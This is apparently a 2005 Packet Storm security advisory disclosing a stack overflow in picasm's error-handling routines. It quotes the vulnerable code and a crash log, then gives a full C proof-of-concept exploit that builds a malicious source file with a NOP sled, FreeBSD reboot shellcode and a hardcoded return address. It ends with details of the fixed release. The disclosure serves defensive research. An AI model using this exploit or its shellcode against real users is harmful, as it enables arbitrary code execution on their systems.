Lucene search

K
packetstormShaun ColleyPACKETSTORM:39289
HistoryAug 14, 2005 - 12:00 a.m.

picasm.txt

2005-08-1400:00:00
Shaun Colley
packetstormsecurity.com
21
`picasm error handling stack overflow vulnerability  
  
Name: picasm error handling stack overflow  
Versions Affected: picasm <= 1.12b  
Severity: Medium/High  
Impact: Arbitrary code execution  
Maintainer's Website: <http://www.co.jyu.fi/~trossi>  
Author: Shaun Colley  
Vendor Notified: May 7th 2005  
Public Disclosure: May 20th 2005  
  
  
BACKGROUND  
**************  
picasm is a Microchip PIC16Cxx assembler, designed to run on most  
UNIX-like operating systems. picasm now extends support to several  
other PICs, including the 2c508 and 12c509 devices.  
  
picasm is available via the FreeBSD ports system as devel/picasm. The  
maintainer, Timo Rossi, also provides it on his microcontroller web  
page <http://www.co.jyu.fi/~trossi/pic>.  
  
  
DETAILS  
********  
When generating error and warning messages, picasm copies strings into  
fixed length buffers without bounds checking. Below is the  
responsible code.  
  
---  
void  
warning(char *fmt, ...)  
{  
char outbuf[128];  
va_list args;  
  
err_line_ref();  
strcpy(outbuf, "Warning: ");  
va_start(args, fmt);  
vsprintf(outbuf+9, fmt, args); [1]  
  
...  
  
  
void  
error(int lskip, char *fmt, ...)  
{  
va_list args;  
char outbuf[128];  
  
err_line_ref();  
strcpy(outbuf, "Error: ");  
va_start(args, fmt);  
vsprintf(outbuf+7, fmt, args); [2]  
  
...  
  
void  
fatal_error(char *fmt, ...)  
{  
va_list args;  
char outbuf[128];  
  
err_line_ref();  
strcpy(outbuf, "Fatal error: ");  
va_start(args, fmt);  
vsprintf(outbuf+13, fmt, args); [3]  
  
...  
}  
---  
  
Where [1], [2] and [3], the error handling routines call vsprintf() to  
copy a passed format string into a fixed length buffer. If the 'fmt'  
function argument could be controlled, a stack overflow could occur.  
  
As the author explains in the documentation, picasm supports an  
'error' directive similar to NASM's '%error' preprocessor.  
  
...  
error <error_message> Causes an assembly error.  
...  
  
An overly long <error_message> provided to an 'error' directive in a  
source file would cause calling of error() and result in a stack  
overflow as seen in [2].  
  
If an attacker could trick a user into assembling a source file with a  
malformed 'error' directive, arbitrary code could be executed with the  
privileges of the user. This could result in full system compromise.  
  
There may be other attack vectors, such as causing picasm to generate  
a long warning message, but this has not been investigated.  
  
  
EXPLOITATION  
**************  
An attacker who can convince a user to assemble a malformed source  
file can execute arbitrary code with the privileges of the user.  
  
Exploitation is straight forward. The log below shows sample exploitation.  
  
---  
bash-3.00# echo `perl -e 'print "error " . "a"x2000'` > test.asm  
bash-3.00# picasm test.asm  
test.asm:1:  
error aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa  
Error: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa  
Segmentation fault (core dumped)  
bash-3.00# gdb -q -c picasm.core  
Core was generated by `picasm'.  
Program terminated with signal 11, Segmentation fault.  
#0 0x61616161 in ?? ()  
(gdb) quit  
bash-3.00#  
--  
  
A proof-of-concept exploit has been written and successfully tested  
using the picasm (v1.12b) port on FreeBSD 5.3-RELEASE. The exploit  
crafts a file with a malformed 'error' directive which causes  
execution to be directed to reboot() shellcode upon overflow.  
  
---  
/* picasm_exploit.c - by Shaun Colley <shaun rsc cx>  
*  
* This code generates a picasm source file with a malformed 'error' directive,  
* which exploits a stack overflow vulnerability in picasm's error printing  
* routines. The file generated by this exploit will only cause execution  
* of FreeBSD 'reboot()' shellcode. Exploit has been tested on  
FreeBSD 5.3-RELEASE.  
* Return address into shellcode may need changing on other operating system  
* versions. Other shellcodes can potentially be used instead of the  
one below.  
*  
* A fix has been provided by picasm's maintainer. The fixed packages can be  
* found at <http://www.co.jyu.fi/~trossi/pic/picasm112c.tar.gz>.  
*/  
  
#include <stdio.h>  
#include <stdlib.h>  
  
/* FreeBSD reboot shellcode by zillion  
* zillion safemode org */  
char shellcode[] =  
"\x31\xc0\x66\xba\x0e\x27\x66\x81\xea\x06\x27\xb0\x37\xcd\x80";  
  
int main(int argc, char *argv[]) {  
  
if(argc < 2) {  
printf("syntax: %s <outfile>\n", argv[0]);  
return 1;  
}  
  
char buf[144];  
  
/* FreeBSD 5.3-RELEASE */  
char ret[] = "\x78\xea\xbf\xbf";  
/* Works when X server is not running */  
/*char ret[] = "\x08\xeb\xbf\xbf";*/  
  
char *ptr;  
FILE *fp;  
ptr = buf;  
  
/* Craft payload */  
memset(ptr, 0, sizeof(buf));  
memset(ptr, 0x90, 118); /* 118 NOP bytes */  
memcpy(ptr+118, shellcode, sizeof(shellcode)); /* 15 byte shellcode */  
memcpy(ptr+133, ret, 4); /* 4 byte ret address */  
  
/* Open outfile */  
if((fp = fopen(argv[1], "w")) == NULL) {  
printf("unable to open %s\n", argv[1]);  
exit(1);  
}  
  
/* Write it all to outfile */  
fwrite("error ", 1, 6, fp);  
fprintf(fp, "%s", buf);  
  
fclose(fp);  
return 0;  
}  
---  
  
(If the code looks distorted, reference  
<http://www.demodulated.net/code/picasm_exploit.c>)  
  
  
FIX INFORMATION  
*****************  
The maintainer, Timo Rossi, has fixed the picasm packages and provided  
a new security release, picasm 1.12c. The fixed packages are  
available from <http://www.co.jyu.fi/~trossi/pic/picasm112c.tar.gz>.  
  
Thanks to Timo Rossi for his cooperation in fixing the issue.  
`